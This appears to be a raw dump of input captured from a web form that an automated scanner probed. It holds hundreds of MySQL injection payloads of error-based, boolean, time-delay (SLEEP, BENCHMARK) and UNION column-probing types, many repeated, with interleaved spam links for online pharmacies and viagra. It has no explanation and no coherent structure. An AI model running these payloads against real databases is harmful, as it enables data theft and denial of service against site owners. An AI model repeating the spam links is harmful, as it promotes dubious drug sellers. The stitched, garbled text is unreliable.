1844 FROM (SELECT 2*(IF((SELECT * FROM (SELECT CONCAT(0x7162716a71,(SELECT (ELT(1844=1844,1))),0x7178707a71,0x78))s), 8446744073709551610, 8446744073709551610)))x)\n\nzgiY]-(SELECT 0 WHERE 1787=1787 AND ELT(8104=8633,8633))|[zgiY\n\nDMti\n\nPckg' OR (SELECT 7362 FROM(SELECT COUNT(*),CONCAT(0x7170717a71,(SELECT (ELT(7362=7362,1))),0x716b627871,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a) AND 'vjow'='vjow\n\n-2025\" OR MAKE_SET(4065=6045,6045)-- gJMM\n\nzgiY]-(SELECT 0 WHERE 1089=1089 AND ELT(2092=2092,5986))|[zgiY\n\nwocb',(SELECT 7599 FROM (SELECT EXP(~(SELECT * FROM (SELECT CONCAT(0x7162716a71,(SELECT (ELT(7599=7599,1))),0x7178707a71,0x78))x)))s)-- AYML\n\nDMti\n\nPckg' AND EXTRACTVALUE(7783,CONCAT(0x5c,0x7170717a71,(SELECT (ELT(7783=7783,1))),0x716b627871)) AND 'niQU'='niQU\n\n-3795') OR MAKE_SET(5706=3734,3734) AND ('MDfF'='MDfF\n\n-4645') OR ELT(4972=4795,4795)-- PBoh\n\nDMti\n\nPckg' OR EXTRACTVALUE(1424,CONCAT(0x5c,0x7170717a71,(SELECT (ELT(1424=1424,1))),0x716b627871)) AND 'fQut'='fQut\n\nLcaz\") AS izJS WHERE 3825=3825 AND 3608=5078#\n\nwocb,(SELECT 7599 FROM (SELECT EXP(~(SELECT * FROM (SELECT CONCAT(0x7162716a71,(SELECT (ELT(7599=7599,1))),0x7178707a71,0x78))x)))s)\n\n-4569') OR MAKE_SET(1751=1751,8848) AND ('oGNa'='oGNa\n\n-4701') OR ELT(9612=9612,7487)-- YlmC\n\nDMti\n\nPckg' AND UPDATEXML(6092,CONCAT(0x2e,0x7170717a71,(SELECT (ELT(6092=6092,1))),0x716b627871),2962) AND 'FeqC'='FeqC\n\nLcaz\") AS mczE WHERE 5397=5397 AND 7140=7140#\n\nDMti\n\n-3695') OR ELT(9722=4548,4548)-- fgco\n\nwocb',GTID_SUBSET(CONCAT(0x7162716a71,(SELECT (ELT(4964=4964,1))),0x7178707a71),4964)-- wGAx\n\n-8621') OR MAKE_SET(6712=5734,5734) AND ('RoVI'='RoVI\n\nLcaz' IN BOOLEAN MODE) AND 5041=2149#\n\n-3695') OR ELT(9722=4548,4548)-- fgco\n\nDMti\n\nLcaz' IN BOOLEAN MODE) AND 7140=7140#\n\nwocb',GTID_SUBSET(CONCAT(0x7162716a71,(SELECT (ELT(4964=4964,1))),0x7178707a71),4964)-- wGAx\n\nDMti\n\nwocb,GTID_SUBSET(CONCAT(0x7162716a71,(SELECT (ELT(4964=4964,1))),0x7178707a71),4964)\n\nPckg' OR UPDATEXML(4901,CONCAT(0x2e,0x7170717a71,(SELECT (ELT(4901=4901,1))),0x716b627871),2301) AND 'CEBU'='CEBU\n\nPckg' OR UPDATEXML(4901,CONCAT(0x2e,0x7170717a71,(SELECT (ELT(4901=4901,1))),0x716b627871),2301) AND 'CEBU'='CEBU\n\n-5599') OmnUtGiGeC AND ('LRhZ'='LRhZ\n\n-3695') OR ELT(9722=4548,4548)-- fgco\n\nLcaz) AND 8831=9812#\n\nDMti\n\n-9858' OR ELT(1300=1289,1289)-- bxYy\n\nwocb',(SELECT 3927 FROM (SELECT JSON_KEYS((SELECT CONVERT((SELECT CONCAT(0x7162716a71,(SELECT (ELT(3927=3927,1))),0x7178707a71)) USING utf8))))x)-- KOjj\n\n-9315')) OR MAKE_SET(5219=3124,3124) AND (('JpWk'='JpWk\n\n-9858' OR ELT(1300=1289,1289)-- bxYy\n\n-9315')) OR MAKE_SET(5219=3124,3124) AND (('JpWk'='JpWk\n\nwocb',(SELECT 3927 FROM (SELECT JSON_KEYS((SELECT CONVERT((SELECT CONCAT(0x7162716a71,(SELECT (ELT(3927=3927,1))),0x7178707a71)) USING utf8))))x)-- KOjj\n\nDMti\n\n-9858' OR ELT(1300=1289,1289)-- bxYy\n\nPckg' AND ROW(2489,2105)>(SELECT COUNT(*),CONCAT(0x7170717a71,(SELECT (ELT(2489=2489,1))),0x716b627871,FLOOR(RAND(0)*2))x FROM (SELECT 5207 UNION SELECT 6516 UNION SELECT 5953 UNION SELECT 9765)a GROUP BY x) AND 'wAbm'='wAbm\n\nDMti\n\n-9315')) OR MAKE_SET(5219=3124,3124) AND (('JpWk'='JpWk\n\nLcaz) AND 7140=7140#\n\nPckg' AND ROW(2489,2105)>(SELECT COUNT(*),CONCAT(0x7170717a71,(SELECT (ELT(2489=2489,1))),0x716b627871,FLOOR(RAND(0)*2))x FROM (SELECT 5207 UNION SELECT 6516 UNION SELECT 5953 UNION SELECT 9765)a GROUP BY x) AND 'wAbm'='wAbm\n\nLcaz) AND 7140=7140#\n\nwocb,(SELECT 3927 FROM (SELECT JSON_KEYS((SELECT CONVERT((SELECT CONCAT(0x7162716a71,(SELECT (ELT(3927=3927,1))),0x7178707a71)) USING utf8))))x)\n\n-4653' OR ELT(9612=9612,7487)-- vuQP\n\nDMti\n\nPckg' OR ROW(5124,3194)>(SELECT COUNT(*),CONCAT(0x7170717a71,(SELECT (ELT(5124=5124,1))),0x716b627871,FLOOR(RAND(0)*2))x FROM (SELECT 3491 UNION SELECT 6612 UNION SELECT 6513 UNION SELECT 6612)a GROUP BY x) AND 'Icnv'='Icnv\n\nPckg' OR ROW(5124,3194)>(SELECT COUNT(*),CONCAT(0x7170717a71,(SELECT (ELT(5124=5124,1))),0x716b627871,FLOOR(RAND(0)*2))x FROM (SELECT 3491 UNION SELECT 6612 UNION SELECT 6513 UNION SELECT 6612)a GROUP BY x) AND 'Icnv'='Icnv\n\nLcaz)) AND 5032=2262#\n\n-4653' OR ELT(9612=9612,7487)-- vuQP\n\nwocb,(SELECT 3927 FROM (SELECT JSON_KEYS((SELECT CONVERT((SELECT CONCAT(0x7162716a71,(SELECT (ELT(3927=3927,1))),0x7178707a71)) USING utf8))))x)\n\nDMti\n\n-3575')) OR MAKE_SET(1751=1751,8848) AND (('fBiC'='fBiC\n\n-9800\n\nwocb',(SELECT 7867 FROM(SELECT COUNT(*),CONCAT(0x7162716a71,(SELECT (ELT(7867=7867,1))),0x7178707a71,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)-- bPix\n\n-9965' OR ELT(4742=8040,8040)-- QFbr\n\nLcaz)) AND 7140=7140#\n\nDMti\n\n-1171')) OR MAKE_SET(3680=2278,2278) AND (('lSBs'='lSBs\n\n-1129\" OR ELT(2933=5420,5420)-- waoR\n\n-2724' OR 1 GROUP BY CONCAT(0x7170717a71,(SELECT (CASE WHEN (2883=2883) THEN 1 ELSE 0 END)),0x716b627871,FLOOR(RAND(0)*2)) HAVING MIN(0)#\n\nwocb,(SELECT 7867 FROM(SELECT COUNT(*),CONCAT(0x7162716a71,(SELECT (ELT(7867=7867,1))),0x7178707a71,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)\n\nLcaz))) AND 2447=2491#\n\n-2813'))) OR MAKE_SET(5036=1157,1157) AND ((('Qmst'='Qmst\n\nDMti\n\nPckg' PROCEDURE ANALYSE(EXTRACTVALUE(2882,CONCAT(0x5c,0x7170717a71,(SELECT (CASE WHEN (2882=2882) THEN 1 ELSE 0 END)),0x716b627871)),1) AND 'wlFn'='wlFn\n\nwocb',EXTRACTVALUE(9435,CONCAT(0x5c,0x7162716a71,(SELECT (ELT(9435=9435,1))),0x7178707a71))-- ODVN\n\n-3105\" OR ELT(9612=9612,7487)-- ddAQ\n\n-6781'))) OR MAKE_SET(1751=1751,8848) AND ((('WuYj'='WuYj\n\nDMti\n\n(SELECT CONCAT(0x7170717a71,(ELT(1117=1117,1)),0x716b627871))\n\n-4529\" OR ELT(7426=7788,7788)-- CKBg\n\nwocb,EXTRACTVALUE(9435,CONCAT(0x5c,0x7162716a71,(SELECT (ELT(9435=9435,1))),0x7178707a71))\n\n-8138'))) OR MAKE_SET(8590=4111,4111) AND ((('gLYm'='gLYm\n\nDMti\n\n-9667') OR ELT(5597=2213,2213) AND ('dMku'='dMku\n\nPckg';SELECT SLEEP(45)#\n\n-8819' OR MAKE_SET(9929=7752,7752) AND 'AQQk'='AQQk\n\nLcaz))) AND 7140=7140#\n\nwocb',UPDATEXML(7888,CONCAT(0x2e,0x7162716a71,(SELECT (ELT(7888=7888,1))),0x7178707a71),9972)-- XFNE\n\n-2729' OR MAKE_SET(1751=1751,8848) AND 'wUff'='wUff\n\nDMti\n\nPckg';SELECT SLEEP(45) AND 'ILAX'='ILAX\n\n-9392') OR ELT(9612=9612,7487) AND ('nwTv'='nwTv\n\nLcaz AND 5874=5194#\n\nwocb,UPDATEXML(7888,CONCAT(0x2e,0x7162716a71,(SELECT (ELT(7888=7888,1))),0x7178707a71),9972)\n\nDMti\n\nPckg';(SELECT * FROM (SELECT(SLEEP(45)))Gtpm)#\n\n-3596' OR MAKE_SET(8741=8816,8816) AND 'jbkd'='jbkd\n\n-1602') OR ELT(9184=4203,4203) AND ('sRRp'='sRRp\n\n-6543') OR MAKE_SET(1131=7765,7765) AND ('LRGL' LIKE 'LRGL\n\n-6188')) OR ELT(6184=6524,6524) AND (('FNSY'='FNSY\n\nLcaz AND 7140=7140#\n\nwocb',(SELECT 2708 FROM (SELECT ROW(2708,6711)>(SELECT COUNT(*),CONCAT(0x7162716a71,(SELECT (ELT(2708=2708,1))),0x7178707a71,FLOOR(RAND(0)*2))x FROM (SELECT 6891 UNION SELECT 5268 UNION SELECT 5076 UNION SELECT 5895)a GROUP BY x))s)-- nzjE\n\nPckg';(SELECT * FROM (SELECT(SLEEP(45)))Wocq) AND 'uGiC'='uGiC\n\nDMti\n\n-4337') OR MAKE_SET(1751=1751,8848) AND ('oaHv' LIKE 'oaHv\n\nwocb,(SELECT 2708 FROM (SELECT ROW(2708,6711)>(SELECT COUNT(*),CONCAT(0x7162716a71,(SELECT (ELT(2708=2708,1))),0x7178707a71,FLOOR(RAND(0)*2))x FROM (SELECT 6891 UNION SELECT 5268 UNION SELECT 5076 UNION SELECT 5895)a GROUP BY x))s)\n\nLcaz)) AS AAxv WHERE 4843=4843 AND 7630=6584#\n\n-1908')) OR ELT(9612=9612,7487) AND (('viei'='viei\n\n(SELECT CONCAT(0x7162716a71,(ELT(3889=3889,1)),0x7178707a71))\n\nLcaz)) AS xoxJ WHERE 2755=2755 AND 7140=7140#\n\n-8943') OR MAKE_SET(5291=9864,9864) AND ('aGHf' LIKE 'aGHf\n\nPckg';SELECT BENCHMARK(45000000,MD5(0x596e4a73))#\n\nDMti\n\n-2666')) OR ELT(2978=4047,4047) AND (('ESMJ'='ESMJ\n\nLcaz) AS AGUF WHERE 2476=2476 AND 7419=9122#\n\nwocb');SELECT SLEEP(45)#\n\n-3182')) OR MAKE_SET(9487=1905,1905) AND (('sCcd' LIKE 'sCcd\n\nDMti\n\nPckg';SELECT BENCHMARK(45000000,MD5(0x55785465)) AND 'oiNu'='oiNu\n\n-1745'))) OR ELT(6498=2286,2286) AND ((('OCDL'='OCDL\n\nwocb';SELECT SLEEP(45)#\n\n-4564')) OR MAKE_SET(1751=1751,8848) AND (('kczh' LIKE 'kczh\n\nLcaz) AS GvrU WHERE 2087=2087 AND 7140=7140#\n\nDMti\n\nPckg' AND (SELECT 6369 FROM (SELECT(SLEEP(45)))ilEg) AND 'sMHD'='sMHD\n\nwocb\";SELECT SLEEP(45)#\n\n-8144'))) OR ELT(9612=9612,7487) AND ((('ucVg'='ucVg\n\nDMti\n\n-2949')) OR MAKE_SET(9975=2553,2553) AND (('UKbJ' LIKE 'UKbJ\n\nLcaz` WHERE 4428=4428 AND 9828=1481#\n\n-8694'))) OR ELT(6054=1070,1070) AND ((('HXHv'='HXHv\n\nPckg' OR (SELECT 4284 FROM (SELECT(SLEEP(45)))vHqs) AND 'Uaen'='Uaen\n\nDMti\n\n-8256'))) OR MAKE_SET(3407=4357,4357) AND ((('cqKt' LIKE 'cqKt\n\nLcaz` WHERE 1568=1568 AND 7140=7140#\n\nwocb'));SELECT SLEEP(45)#\n\n-7450' OR ELT(4165=3393,3393) AND 'NTXv'='NTXv\n\nDMti\n\nPckg' AND SLEEP(45) AND 'HiEA'='HiEA\n\n-6334'))) OR MAKE_SET(1751=1751,8848) AND ((('ZmWp' LIKE 'ZmWp\n\nLcaz`) WHERE 4349=4349 AND 3065=3231#\n\nwocb')));SELECT SLEEP(45)#\n\n-9291' OR ELT(9612=9612,7487) AND 'LAWk'='LAWk\n\nDMti\n\nPckg' OR SLEEP(45) AND 'MKyQ'='MKyQ\n\n-9778'))) OR MAKE_SET(5588=4845,4845) AND ((('gmkt' LIKE 'gmkt\n\nLcaz`) WHERE 1689=1689 AND 7140=7140#\n\nwocb%';SELECT SLEEP(45)#\n\nDMti\n\n-2657' OR ELT(1650=8008,8008) AND 'twok'='twok\n\nPckg' AND SLEEP(45)#\n\n-4883\n\n-4712%' OR MAKE_SET(4478=4712,4712) AND 'lFTi%'='lFTi\n\nwocb\");SELECT SLEEP(45)#\n\nDMti\n\nPckg' OR SLEEP(45)#\n\n-7532') OR 1436=4424#\n\n-1410') OR ELT(5346=9061,9061) AND ('ChGz' LIKE 'ChGz\n\n-6221%' OR MAKE_SET(1751=1751,8848) AND 'LhQo%'='LhQo\n\nwocb\"));SELECT SLEEP(45)#\n\nDMti\n\nPckg' AND (SELECT 3052 FROM (SELECT(SLEEP(45)))WVai)#\n\n-7892%' OR MAKE_SET(3396=4653,4653) AND 'kcgM%'='kcgM\n\n-7598') OR 2139=2139#\n\n-8860') OR ELT(9612=9612,7487) AND ('Qeka' LIKE 'Qeka\n\nwocb\")));SELECT SLEEP(45)#\n\nDMti\n\nPckg' OR (SELECT 8979 FROM (SELECT(SLEEP(45)))AFXa)#\n\n-7921' OR MAKE_SET(6041=5523,5523) AND 'Emnf' LIKE 'Emnf\n\n-8275') OR ELT(9094=3097,3097) AND ('CfoC' LIKE 'CfoC\n\nwocb')) AS EmJh WHERE 3829=3829;SELECT SLEEP(45)#\n\n-9279' OR 6938=4392#\n\n-7572' OR MAKE_SET(1751=1751,8848) AND 'strK' LIKE 'strK\n\nPckg' AND 2837=BENCHMARK(45000000,MD5(0x63477a4b)) AND 'mURD'='mURD\n\nDMti\n\nsBph\n\n-1949')) OR ELT(3908=1665,1665) AND (('jsFt' LIKE 'jsFt\n\nwocb\")) AS ZUtc WHERE 5956=5956;SELECT SLEEP(45)#\n\n-8296' OR 2139=2139#\n\nPckg' OR 4537=BENCHMARK(45000000,MD5(0x6c524d67)) AND 'Xnwi'='Xnwi\n\nDMti\n\n-9606')) OR ELT(9612=9612,7487) AND (('iNKY' LIKE 'iNKY\n\nwocb') AS bMed WHERE 4944=4944;SELECT SLEEP(45)#\n\nDMti\n\nsBph\n\nPckg' AND 1579=BENCHMARK(45000000,MD5(0x414d6e52))#\n\n-1757\" OR 8049=4165#\n\nwocb\") AS zYaf WHERE 8892=8892;SELECT SLEEP(45)#\n\n-7794')) OR ELT(3370=1270,1270) AND (('WsBM' LIKE 'WsBM\n\nDMti\n\n6272\n\n-2231\" OR 2139=2139#\n\nPckg' OR 9123=BENCHMARK(45000000,MD5(0x70687153))#\n\nwocb\"=\"wocb\";SELECT SLEEP(45)#\n\nDMti\n\n-5279'))) OR ELT(3678=9081,9081) AND ((('jmdZ' LIKE 'jmdZ\n\nsBph.\"(),)'(((\n\n-9824')) OR 5320=9973#\n\nwocb' IN BOOLEAN MODE);SELECT SLEEP(45)#\n\nPckg' RLIKE SLEEP(45) AND 'MNhg'='MNhg\n\nDMti\n\n-2845'))) OR ELT(9612=9612,7487) AND ((('aNVx' LIKE 'aNVx\n\n-3605')) OR 2139=2139#\n\nsBph'PgBVXC<'\">VXLnHQ\n\nwocb);SELECT SLEEP(45)#\n\nDMti\n\nPckg' RLIKE SLEEP(45)#\n\n-3073'))) OR ELT(3857=4253,4253) AND ((('eOwN' LIKE 'eOwN\n\n-4137')) OR 4303=7265#\n\nsBph') AND 1243=1565 AND ('XcEF'='XcEF\n\nDMti\n\nwocb));SELECT SLEEP(45)#\n\n-3151%' OR ELT(6886=6590,6590) AND 'NlAn%'='NlAn\n\n-7775'))) OR 3443=6346#\n\nPckg' RLIKE (SELECT 5969 FROM (SELECT(SLEEP(45)))Jqgr) AND 'DNBv'='DNBv\n\nsBph') AND 9179=9179 AND ('EiGv'='EiGv\n\nDMti\n\nwocb)));SELECT SLEEP(45)#\n\n-5877%' OR ELT(9612=9612,7487) AND 'YWhs%'='YWhs\n\n-5437'))) OR 2139=2139#\n\nPckg' RLIKE (SELECT 7634 FROM (SELECT(SLEEP(45)))OYsI)#\n\nsBph') AND 3308=2888 AND ('zuqb'='zuqb\n\nDMti\n\n-7715%' OR ELT(6423=7423,7423) AND 'Orsb%'='Orsb\n\n-2485'))) OR 7147=2325#\n\nwocb;SELECT SLEEP(45)#\n\nPckg' AND ELT(9849=9849,SLEEP(45)) AND 'EMKH'='EMKH\n\n(SELECT CONCAT(CONCAT(0x716b7a7871,(CASE WHEN (9163=9163) THEN 0x31 ELSE 0x30 END)),0x7176627a71))\n\n-3918' OR ELT(8622=2230,2230) AND 'gLSN' LIKE 'gLSN\n\nDMti\n\n-5221%' OR 9030=3583#\n\nwocb)) AS NzBZ WHERE 9618=9618;SELECT SLEEP(45)#\n\nsBph') AND (SELECT 2*(IF((SELECT * FROM (SELECT CONCAT(0x716b7a7871,(SELECT (ELT(9329=9329,1))),0x7176627a71,0x78))s), 8446744073709551610, 8446744073709551610))) AND ('EkOL'='EkOL\n\nPckg' OR ELT(7608=7608,SLEEP(45)) AND 'IjRs'='IjRs\n\nDMti\n\n-6155' OR ELT(9612=9612,7487) AND 'TOsb' LIKE 'TOsb\n\nsBph') OR (SELECT 2*(IF((SELECT * FROM (SELECT CONCAT(0x716b7a7871,(SELECT (ELT(7348=7348,1))),0x7176627a71,0x78))s), 8446744073709551610, 8446744073709551610))) AND ('bLNo'='bLNo\n\nwocb) AS Zktx WHERE 8068=8068;SELECT SLEEP(45)#\n\nPckg' AND ELT(5153=5153,SLEEP(45))#\n\n-2797' OR ELT(2592=7608,7608) AND 'jRGI' LIKE 'jRGI\n\n-7420%' OR 2139=2139#\n\nsBph') AND EXP(~(SELECT * FROM (SELECT CONCAT(0x716b7a7871,(SELECT (ELT(5064=5064,1))),0x7176627a71,0x78))x)) AND ('QqNg'='QqNg\n\nwocb` WHERE 7849=7849;SELECT SLEEP(45)#\n\n-2525%' OR 6342=7875#\n\nsBph') OR EXP(~(SELECT * FROM (SELECT CONCAT(0x716b7a7871,(SELECT (ELT(5160=5160,1))),0x7176627a71,0x78))x)) AND ('JKZm'='JKZm\n\nwocb`) WHERE 6824=6824;SELECT SLEEP(45)#\n\nDMti\n\n-8871\") OR 2739=7115#\n\nsBph') AND GTID_SUBSET(CONCAT(0x716b7a7871,(SELECT (ELT(9576=9576,1))),0x7176627a71),9576) AND ('iHOx'='iHOx\n\nwocb`=`wocb`;SELECT SLEEP(45)#\n\nDMti\n\nPckg' OR ELT(4465=4465,SLEEP(45))#\n\nsBph') OR GTID_SUBSET(CONCAT(0x716b7a7871,(SELECT (ELT(2145=2145,1))),0x7176627a71),2145) AND ('syNX'='syNX\n\n-7215\") OR ELT(4307=7875,7875) AND (\"kDRa\"=\"kDRa\n\n-1730\") OR 2139=2139#\n\nDMti\n\nwocb]-(SELECT 0 WHERE 7392=7392;SELECT SLEEP(45)#\n\nPckg' PROCEDURE ANALYSE(EXTRACTVALUE(3764,CONCAT(0x5c,(BENCHMARK(45000000,MD5(0x51645769))))),1) AND 'BDRO'='BDRO\n\nsBph') AND JSON_KEYS((SELECT CONVERT((SELECT CONCAT(0x716b7a7871,(SELECT (ELT(5926=5926,1))),0x7176627a71)) USING utf8))) AND ('OxQX'='OxQX\n\n-9682\") OR ELT(9612=9612,7487) AND (\"vYVD\"=\"vYVD\n\n-2305\") OR 5584=5142#\n\nwocb');SELECT SLEEP(45)-- erjM\n\nDMti\n\nsBph') OR JSON_KEYS((SELECT CONVERT((SELECT CONCAT(0x716b7a7871,(SELECT (ELT(1098=1098,1))),0x7176627a71)) USING utf8))) AND ('pckK'='pckK\n\nPckg' PROCEDURE ANALYSE(EXTRACTVALUE(1739,CONCAT(0x5c,(BENCHMARK(45000000,MD5(0x4756567a))))),1)#\n\n-5952\")) OR 7245=7542#\n\n-7115\") OR ELT(6964=8547,8547) AND (\"oIKx\"=\"oIKx\n\nwocb';SELECT SLEEP(45)-- hRGw\n\nDMti\n\nsBph') AND (SELECT 9843 FROM(SELECT COUNT(*),CONCAT(0x716b7a7871,(SELECT (ELT(9843=9843,1))),0x7176627a71,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a) AND ('gjEp'='gjEp\n\nPckg' ORDER BY 1-- -\n\n-9955\")) OR 2139=2139#\n\nDMti\n\nwocb\";SELECT SLEEP(45)-- gncw\n\nsBph') OR (SELECT 6690 FROM(SELECT COUNT(*),CONCAT(0x716b7a7871,(SELECT (ELT(6690=6690,1))),0x7176627a71,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a) AND ('gQrv'='gQrv\n\n-3104\")) OR ELT(9644=2602,2602) AND ((\"RjIQ\"=\"RjIQ\n\nPckg' UNION ALL SELECT NULL-- -\n\n-2983\")) OR 6423=1219#\n\nDMti\n\nsBph') AND EXTRACTVALUE(7781,CONCAT(0x5c,0x716b7a7871,(SELECT (ELT(7781=7781,1))),0x7176627a71)) AND ('KKWn'='KKWn\n\n-1408\")) OR ELT(9612=9612,7487) AND ((\"QooC\"=\"QooC\n\nwocb');SELECT SLEEP(45) AND ('efCb'='efCb\n\nPckg' UNION ALL SELECT NULL,NULL-- -\n\n-5335\"))) OR 7748=7677#\n\nsBph') OR EXTRACTVALUE(6496,CONCAT(0x5c,0x716b7a7871,(SELECT (ELT(6496=6496,1))),0x7176627a71)) AND ('kwiS'='kwiS\n\nDMti\n\nwocb'));SELECT SLEEP(45) AND (('Ugeb'='Ugeb\n\nsBph') AND UPDATEXML(2741,CONCAT(0x2e,0x716b7a7871,(SELECT (ELT(2741=2741,1))),0x7176627a71),6175) AND ('HxQl'='HxQl\n\n-6752\"))) OR 2139=2139#\n\n-2405\")) OR ELT(9188=7796,7796) AND ((\"gsSB\"=\"gsSB\n\nPckg' UNION ALL SELECT NULL,NULL,NULL-- -\n\nwocb')));SELECT SLEEP(45) AND ((('OgUH'='OgUH\n\nDMti\n\nsBph') OR UPDATEXML(4649,CONCAT(0x2e,0x716b7a7871,(SELECT (ELT(4649=4649,1))),0x7176627a71),3659) AND ('ZPAn'='ZPAn\n\n-8326\"))) OR 8682=9760#\n\n-2754\"))) OR ELT(5437=9886,9886) AND (((\"Ugou\"=\"Ugou\n\nPckg' UNION ALL SELECT NULL,NULL,NULL,NULL-- -\n\nwocb';SELECT SLEEP(45) AND 'tpjc'='tpjc\n\nsBph') AND ROW(1937,2357)>(SELECT COUNT(*),CONCAT(0x716b7a7871,(SELECT (ELT(1937=1937,1))),0x7176627a71,FLOOR(RAND(0)*2))x FROM (SELECT 2361 UNION SELECT 2480 UNION SELECT 9812 UNION SELECT 4603)a GROUP BY x) AND ('mquF'='mquF\n\n-3193')) AS fjnD WHERE 9483=9483 OR 2612=4292#\n\n-5434\"))) OR ELT(9612=9612,7487) AND (((\"uAuc\"=\"uAuc\n\nPckg' UNION ALL SELECT NULL,NULL,NULL,NULL,NULL-- -\n\nsBph') OR ROW(6267,2407)>(SELECT COUNT(*),CONCAT(0x716b7a7871,(SELECT (ELT(6267=6267,1))),0x7176627a71,FLOOR(RAND(0)*2))x FROM (SELECT 3906 UNION SELECT 5029 UNION SELECT 7803 UNION SELECT 4323)a GROUP BY x) AND ('HOhm'='HOhm\n\npharmacy online degree <a href=\"https://mgpharmmg.com/ \">oxford online pharmacy</a> vipps canadian pharmacy list https://mgpharmmg.com/\n\nwocb');SELECT SLEEP(45) AND ('uTac' LIKE 'uTac\n\nDMti\n\n-5492\"))) OR ELT(7310=6487,6487) AND (((\"VBbS\"=\"VBbS\n\n-3420')) AS YiZE WHERE 5042=5042 OR 2139=2139#\n\n-5638\n\nPckg' UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL-- -\n\nwocb'));SELECT SLEEP(45) AND (('xulO' LIKE 'xulO\n\nDMti\n\n-4520')) AS rzFC WHERE 7425=7425 OR 2393=4037#\n\n-3620\" OR ELT(9585=4580,4580) AND \"Zmrw\"=\"Zmrw\n\nDMti\n\nPckg' UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL-- -\n\nwocb')));SELECT SLEEP(45) AND ((('CdJz' LIKE 'CdJz\n\n-1700\" OR ELT(9612=9612,7487) AND \"cjgw\"=\"cjgw\n\nDMti\n\n-9272\")) AS FlDM WHERE 1917=1917 OR 4616=1673#\n\nPckg' UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL-- -\n\nwocb%';SELECT SLEEP(45) AND 'RkgI%'='RkgI\n\n-9343\" OR ELT(3561=3325,3325) AND \"eVYg\"=\"eVYg\n\nDMti\n\n-4118\")) AS cNNX WHERE 4902=4902 OR 2139=2139#\n\nPckg' UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL-- -\n\nwocb';SELECT SLEEP(45) AND 'wAFZ' LIKE 'wAFZ\n\nDMti\n\nwhere can i buy female viagra uk <a href=\"https://viagrjin.com/ \">viagra 100 mg price in usa</a> buy viagra india https://viagrjin.com/\n\n-3118\")) AS aaUb WHERE 1493=1493 OR 6303=6720#\n\nPckg' UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL-- -\n\n-7973\") OR ELT(7077=5590,5590) AND (\"CoLs\" LIKE \"CoLs\n\nwocb\");SELECT SLEEP(45) AND (\"kHFP\"=\"kHFP\n\nDMti\n\nPckg' UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL-- -\n\n-1304') AS IMqX WHERE 9432=9432 OR 7063=1147#\n\n-4977\") OR ELT(9612=9612,7487) AND (\"NuMx\" LIKE \"NuMx\n\nwocb\"));SELECT SLEEP(45) AND ((\"XVYj\"=\"XVYj\n\nDMti\n\nPckg' UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL-- -\n\n-2207') AS AdYu WHERE 8005=8005 OR 2139=2139#\n\n-5854\") OR ELT(7241=7459,7459) AND (\"rgRc\" LIKE \"rgRc\n\nDMti\n\nwocb\")));SELECT SLEEP(45) AND (((\"AFWa\"=\"AFWa\n\nPckg' UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL-- -\n\n-6981') AS vACN WHERE 4914=4914 OR 4334=7347#\n\n-5638\n\n-7430\")) OR ELT(5728=2111,2111) AND ((\"KURK\" LIKE \"KURK\n\nDMti\n\nwocb\";SELECT SLEEP(45) AND \"vZLg\"=\"vZLg\n\nPckg' UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL-- -\n\n-4037\") AS nANg WHERE 8670=8670 OR 1229=5440#\n\n-4903') OR 1 GROUP BY CONCAT(0x716b7a7871,(SELECT (CASE WHEN (2896=2896) THEN 1 ELSE 0 END)),0x7176627a71,FLOOR(RAND(0)*2)) HAVING MIN(0)#\n\n-4626\")) OR ELT(9612=9612,7487) AND ((\"PLpa\" LIKE \"PLpa\n\nwocb\");SELECT SLEEP(45) AND (\"TMKV\" LIKE \"TMKV\n\nDMti\n\n-7106\") AS GhJZ WHERE 4569=4569 OR 2139=2139#\n\nsBph') PROCEDURE ANALYSE(EXTRACTVALUE(8444,CONCAT(0x5c,0x716b7a7871,(SELECT (CASE WHEN (8444=8444) THEN 1 ELSE 0 END)),0x7176627a71)),1) AND ('Jqce'='Jqce\n\nPckg' UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL-- -\n\n-2151\")) OR ELT(4405=1496,1496) AND ((\"Nqwm\" LIKE \"Nqwm\n\nwocb\"));SELECT SLEEP(45) AND ((\"iLxK\" LIKE \"iLxK\n\nDMti\n\n-8521\") AS iwll WHERE 8945=8945 OR 6104=6615#\n\n(SELECT CONCAT(0x716b7a7871,(ELT(3378=3378,1)),0x7176627a71))\n\nPckg' UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL-- -\n\n-2450\"))) OR ELT(5149=9245,9245) AND (((\"VTxa\" LIKE \"VTxa\n\nwocb\")));SELECT SLEEP(45) AND (((\"KgZi\" LIKE \"KgZi\n\nDMti\n\n-1401) OR 2742=7136#\n\nsBph\n\nPckg' UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL-- -\n\n-5935\"))) OR ELT(9612=9612,7487) AND (((\"Qqgd\" LIKE \"Qqgd\n\nwocb\";SELECT SLEEP(45) AND \"YbfB\" LIKE \"YbfB\n\nDMti\n\nsBph\n\n-3399) OR 2139=2139#\n\nPckg' UNION ALL SELECT 